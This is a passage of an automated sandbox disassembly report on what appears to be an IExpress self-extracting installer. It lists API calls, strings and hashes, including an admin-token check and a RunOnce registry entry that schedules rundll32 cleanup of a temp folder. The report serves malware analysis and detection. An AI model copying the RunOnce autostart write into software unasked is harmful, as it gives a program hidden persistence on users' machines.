GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 00AF28AA
GetSystemDirectoryA.KERNEL32 ref: 00AF28B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00AF27E4

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: d4438a06ebacd78a40c072889eebadb52fd1bc5526399a7512f0d8bdb5f1f4c4
Instruction ID: c4e62ba8121582950db79c8af75f6941294df24239631ca2e55984b71d82ee06
Opcode Fuzzy Hash: d4438a06ebacd78a40c072889eebadb52fd1bc5526399a7512f0d8bdb5f1f4c4
Instruction Fuzzy Hash: 594175B1A0012CAFDB249BE49C85BFA77BDEF55740F0440A9F649D2110DB705E86CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 00AF22A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup2,00000000,00000000,?,?,00000001), ref: 00AF22D8
memset.MSVCRT ref: 00AF22F5
GetSystemDirectoryA.KERNEL32 ref: 00AF2305
RegSetValueExA.ADVAPI32(?,wextract_cleanup2,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 00AF236E
RegCloseKey.ADVAPI32(?), ref: 00AF237A

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00AF2299
wextract_cleanup2, xrefs: 00AF227C, 00AF22CD, 00AF2363
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF2321
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00AF232D

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup2
API String ID: 3027380567-1720115735
Opcode ID: 7c8d5dc41efa246860c94aecb6024c84e8b188951c0f170fa8d963d0972bfc2d
Instruction ID: 72883bc8684cf9194c0bb678aabf387061423fe2c0831ce819e79cdbe2b153e5
Opcode Fuzzy Hash: 7c8d5dc41efa246860c94aecb6024c84e8b188951c0f170fa8d963d0972bfc2d
Instruction Fuzzy Hash: 4D319871A0021CBBDB21DBD1DC49FFA777CEB54740F0401A9B64DAA051EE756B89CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00AF313B
GetDesktopWindow.USER32 ref: 00AF314B
SetDlgItemTextA.USER32(?,00000834), ref: 00AF316A
SetWindowTextA.USER32(?,no230), ref: 00AF3176
SetForegroundWindow.USER32(?), ref: 00AF317D
GetDlgItem.USER32(?,00000834), ref: 00AF3185
GetWindowLongA.USER32(00000000,000000FC), ref: 00AF3190
SetWindowLongA.USER32(00000000,000000FC,00AF30C0), ref: 00AF31A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 00AF31CA

Strings

no230, xrefs: 00AF3170

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: no230
API String ID: 3785188418-1983429894
Opcode ID: d50673f0f0b1b1ac5c1fdf24e6906876a011a9791faa996b2e4461fbd6b141ba
Instruction ID: f5f5e31bf59f9f6ffdc8535a843dfcb53907d1e2dee4364849fee7062e48626f
Opcode Fuzzy Hash: d50673f0f0b1b1ac5c1fdf24e6906876a011a9791faa996b2e4461fbd6b141ba
Instruction Fuzzy Hash: B311D372204219BBDF21DFE4DC0CBFA3A64FB5A720F104711FA19911E0DB759642C74A

Uniqueness

Uniqueness Score: -1.00%

Function 00AF18A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00AF18DD), ref: 00AF181A
Part of subcall function 00AF17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00AF182C
Part of subcall function 00AF17EE: AllocateAndInitializeSid.ADVAPI32(00AF18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00AF18DD), ref: 00AF1855
Part of subcall function 00AF17EE: FreeSid.ADVAPI32(?,?,?,?,00AF18DD), ref: 00AF1883
Part of subcall function 00AF17EE: FreeLibrary.KERNEL32(00000000,?,?,?,00AF18DD), ref: 00AF188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 00AF18EB
OpenProcessToken.ADVAPI32(00000000), ref: 00AF18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 00AF190A
GetLastError.KERNEL32 ref: 00AF1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 00AF192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00AF1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00AF1964
EqualSid.ADVAPI32(00000004,?), ref: 00AF197A
FreeSid.ADVAPI32(?), ref: 00AF199C
LocalFree.KERNEL32(00000000), ref: 00AF19A3
CloseHandle.KERNEL32(?), ref: 00AF19AD

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: aea459e44eb4b1f17a6ca56840da54c14f22b62d75ecbab1eff199ebca87709d
Instruction ID: 4c68291257d6035a69baa6549f12db6bdfc3d7486bee3cd00ffbc62900ee6004
Opcode Fuzzy Hash: aea459e44eb4b1f17a6ca56840da54c14f22b62d75ecbab1eff199ebca87709d
Instruction Fuzzy Hash: AC311B71A00209EFDB10DFE5EC98ABFBBB8FB14700B104529F645D2150DB749906DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00AF468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
memcpy_s.MSVCRT ref: 00AF46E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

Strings

no230, xrefs: 00AF46E4
TITLE, xrefs: 00AF469D, 00AF46C0

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$no230
API String ID: 3370778649-2866258717
Opcode ID: fdac77048f1bfc9b69f8e39d47f594881d8f3f399ea0d835cfe79c15b258db4d
Instruction ID: 6609580458a8e7c09cf1c79d78c0f362cf480f4cd303574201b16c924af507e4
Opcode Fuzzy Hash: fdac77048f1bfc9b69f8e39d47f594881d8f3f399ea0d835cfe79c15b258db4d
Instruction Fuzzy Hash: E601D1B22402047BE3605BE56C4CFBB7E2CDBDEB62F040414FB4EC6190DEA19842C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 00AF17EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,00AF18DD), ref: 00AF181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 00AF182C
AllocateAndInitializeSid.ADVAPI32(00AF18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00AF18DD), ref: 00AF1855
FreeSid.ADVAPI32(?,?,?,?,00AF18DD), ref: 00AF1883
FreeLibrary.KERNEL32(00000000,?,?,?,00AF18DD), ref: 00AF188A

Strings

CheckTokenMembership, xrefs: 00AF1826
advapi32.dll, xrefs: 00AF1810

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 609635e44d5fec53c51f270855c9dc6abbc71b85c31065561697109017177786
Instruction ID: 0243b204ad8a004f382a0f3e64df08046f6b47f97b52655a6bf1bcf4c3f713da
Opcode Fuzzy Hash: 609635e44d5fec53c51f270855c9dc6abbc71b85c31065561697109017177786
Instruction Fuzzy Hash: E5115171E00209EBDB10DFE4ED49ABEBBB8EB48751F100569FA06E2290DA719D05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00AF3490
GetDesktopWindow.USER32 ref: 00AF349A
SetWindowTextA.USER32(?,no230), ref: 00AF34B2
SetDlgItemTextA.USER32(?,00000838), ref: 00AF34C4
SetForegroundWindow.USER32(?), ref: 00AF34CB
EndDialog.USER32(?,00000002), ref: 00AF34D8

Strings

no230, xrefs: 00AF34AC

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: no230
API String ID: 852535152-1983429894
Opcode ID: a67e7095042503120196b760af24905298c6a9d005dbeccd7b833cadc9987c6d
Instruction ID: faae0b59a654c3e15130464cb7384d628f4cacfce246e181681f61756c4aebb4
Opcode Fuzzy Hash: a67e7095042503120196b760af24905298c6a9d005dbeccd7b833cadc9987c6d
Instruction Fuzzy Hash: EF01B17224011CABDB169FE5DC0C9BE7A64FB59703F014120FB4A866A0CB709F93DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00AF2AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00AF2AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00AF2AF2
CharNextA.USER32(?), ref: 00AF2B12
CharUpperA.USER32 ref: 00AF2B1E
CharPrevA.USER32(?,?), ref: 00AF2B55
CharNextA.USER32(?), ref: 00AF2BD4

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 147c595b177f57d246c83adba1edf24df3d3629af3fc5cd854d3f66b3e9119e7
Instruction ID: 6da9a6b15c41c498442298045eb3ac8ef30ee77ea1af66793419c10a8dae72ab
Opcode Fuzzy Hash: 147c595b177f57d246c83adba1edf24df3d3629af3fc5cd854d3f66b3e9119e7
Instruction Fuzzy Hash: 544133341082499FDB159FB08C54BFDBBA99F66300F04019AFDC687202DB358E87CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00AF43D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00AF43F1
GetWindowRect.USER32(00000000,?), ref: 00AF440B
GetDC.USER32(?), ref: 00AF4423
GetDeviceCaps.GDI32(00000000,00000008), ref: 00AF442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00AF443A
ReleaseDC.USER32(?,00000000), ref: 00AF4447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 00AF44A2

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: a67c27673fc2f66526268349f9177b5234a474c1af2ffb91ad44cf85ac9d623f
Instruction ID: 767234d0274915356ef0be45cf363f9b336f5287ff058dd1a607ba3bf478a3ff
Opcode Fuzzy Hash: a67c27673fc2f66526268349f9177b5234a474c1af2ffb91ad44cf85ac9d623f
Instruction Fuzzy Hash: 23311772A00119AFCB14CFF8DD899FEBBB5EB89311F154269F905B3250DA30AD06CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 00AF171E: _vsnprintf.MSVCRT ref: 00AF1750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,00AF51CA,00000004,00000024,00AF2F71,?,00000002,00000000), ref: 00AF62CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,00AF51CA,00000004,00000024,00AF2F71,?,00000002,00000000), ref: 00AF62D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00AF51CA,00000004,00000024,00AF2F71,?,00000002,00000000), ref: 00AF631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00AF6345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,00AF51CA,00000004,00000024,00AF2F71,?,00000002,00000000), ref: 00AF6357

Strings

UPDFILE%lu, xrefs: 00AF62B3, 00AF6329

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: d584b8cba0d563fc3b0bb1836b6e4b25380eb90ff750432be304ae9ef8611b00
Instruction ID: 8333e8c5e8337ca3a370b2e3eaea00f7d27294877bd0794a511d612152b2ace1
Opcode Fuzzy Hash: d584b8cba0d563fc3b0bb1836b6e4b25380eb90ff750432be304ae9ef8611b00
Instruction Fuzzy Hash: 8621BF75A0021DABDB10EFE49C499FEBB78FB49714B010229FA06A7241DB359D06CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00AF681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 00AF686E
GetSystemMetrics.USER32(0000004A), ref: 00AF68A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 00AF68CC
RegQueryValueExA.ADVAPI32(?,00AF1140,00000000,?,?,0000000C), ref: 00AF68F4
RegCloseKey.ADVAPI32(?), ref: 00AF6902

Part of subcall function 00AF66F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,00AF691A), ref: 00AF6741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00AF68C2

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 92fc1e9cbde6914934f8ea3904ab9a1676a1aaa5d1ebc85cd56c96270a7a2b2f
Instruction ID: cabbb398c157571d7f205fb3ad1b4c0958b196379a97e4e539c534b13416aeee
Opcode Fuzzy Hash: 92fc1e9cbde6914934f8ea3904ab9a1676a1aaa5d1ebc85cd56c96270a7a2b2f
Instruction Fuzzy Hash: B9314F71A0021C9FDB31CBD1DC85BBAB7B8EB55764F0002A5FA4DA6240DB709A86CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00AF2F64,?,00000002,00000000), ref: 00AF3A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00AF3AB3

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Part of subcall function 00AF6285: GetLastError.KERNEL32(00AF5BBC), ref: 00AF6285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00AF3AD0
LocalFree.KERNEL32 ref: 00AF3B13

Part of subcall function 00AF6517: FindResourceA.KERNEL32(00AF0000,000007D6,00000005), ref: 00AF652A
Part of subcall function 00AF6517: LoadResource.KERNEL32(00AF0000,00000000,?,?,00AF2EE8,00000000,00AF19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00AF6538
Part of subcall function 00AF6517: DialogBoxIndirectParamA.USER32(00AF0000,00000000,00000547,00AF19E0,00000000), ref: 00AF6557
Part of subcall function 00AF6517: FreeResource.KERNEL32(00000000,?,?,00AF2EE8,00000000,00AF19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00AF6560

LocalFree.KERNEL32(00000000,00AF3100,00000000,00000000), ref: 00AF3AF4

Strings

<None>, xrefs: 00AF3AC5
LICENSE, xrefs: 00AF3A46

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: b09993dc39ebef694547d16dbc570af5075144eb98494b417aa246431e3e09a4
Instruction ID: 72bcda704fe3f7a584edd1b3967fbaae1265de07f3421a10f190b8caa208d1d9
Opcode Fuzzy Hash: b09993dc39ebef694547d16dbc570af5075144eb98494b417aa246431e3e09a4
Instruction Fuzzy Hash: CC11B771200209ABDB60EBF2AD09F773AB9DFD9B40B10453EB745D61A1DF7E8802C624

Uniqueness

Uniqueness Score: -1.00%

Function 00AF24E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00AF2506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 00AF252C
_lopen.KERNEL32(?,00000040), ref: 00AF253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 00AF254C
_lclose.KERNEL32(00000000), ref: 00AF2555

Strings

wininit.ini, xrefs: 00AF2510

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 32afc419fea216db1ddd5b8419f9c1df4ba800496d29420457e652d4a4404662
Instruction ID: 430b4340ecd96a974a334678113b19abf60726075b1fd53fca248b26e3926a99
Opcode Fuzzy Hash: 32afc419fea216db1ddd5b8419f9c1df4ba800496d29420457e652d4a4404662
Instruction Fuzzy Hash: FD015E72601118ABC720DBE5AD09EFBBB7CEB95760F000165FA49D3290DE748E46CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 00AF36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00AF3723
MessageBeep.USER32(00000000), ref: 00AF39C3
MessageBoxA.USER32(00000000,00000000,no230,00000030), ref: 00AF39F1

Strings

no230, xrefs: 00AF39E9, 00AF3A19
3, xrefs: 00AF3785

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$no230
API String ID: 2519184315-683699594
Opcode ID: b7b9afa14489dd2ee7e54699f3f4715082780e3bc4cec5fd1ccd3cdf20815479
Instruction ID: 316c95e22fbf5820fb357b45ca383bc4d88e01662cbd1c095d2d41f1a3775e4b
Opcode Fuzzy Hash: b7b9afa14489dd2ee7e54699f3f4715082780e3bc4cec5fd1ccd3cdf20815479
Instruction Fuzzy Hash: 5091E1B2A0121C9BDF34DBE5CD907BAB3B0AB45340F1541A9FA8997251D7B58F81CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000000), ref: 00AF64DF
